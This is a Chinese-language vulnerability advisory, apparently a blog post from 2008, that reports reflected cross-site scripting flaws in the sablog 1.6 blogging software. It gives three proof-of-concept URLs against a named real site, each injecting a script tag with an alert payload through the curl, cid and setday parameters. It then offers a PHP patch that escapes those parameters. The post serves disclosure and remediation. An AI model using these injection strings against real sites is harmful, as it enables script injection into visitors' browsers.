注册 | 登陆

sablog 1.6 多个跨站漏洞

 Date:2008-03-27

Author:amxku[c.r.s.t]
Version:sablog 1.6

由于过滤不严,存在多个跨站漏洞

PS:
http://www.luoq.net/?viewmode=list&curl=>"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>
http://www.luoq.net/?action=index&cid=>"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt> 
http://www.luoq.net/?action=index&setdate=200804&setday=>"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>&page=1 

临时解决办法:

在global.php中过滤curl,cid,setday等

  1. $modelink = '';  
  2. if ($action) {  
  3.     $modelink .= '&action='.$action;  
  4. }  
  5. if ($curl) {  
  6.     $modelink .= '&curl='.htmlspecialchars($curl);  
  7. }  
  8. if ($cid) {  
  9.     $modelink .= '&cid='.htmlspecialchars($cid);  
  10. }  
  11. if ($setdate) {  
  12.     $modelink .= '&setdate='.htmlspecialchars($setdate);  
  13. }  
  14. if ($setday) {  
  15.     $modelink .= '&setday='.htmlspecialchars($setday);  
  16. }  
  17. if (intval($_GET['searchid'])) {  
  18.     $modelink .= '&searchid='.htmlspecialchars($_GET['searchid']);  
  19. }  
  20. if (intval($_GET['userid'])) {  
  21.     $modelink .= "&userid=".htmlspecialchars($_GET['userid']);  
  22. }  
  23. if ($_GET['item']) {  
  24.     $item = urlencode(addslashes($item));  
  25.     $modelink .= '&item='.$item;  
  26. }

« 上一篇 | 下一篇 »

Trackbacks

点击获得Trackback地址,Encode: UTF-8

发表评论

评论内容 (必填):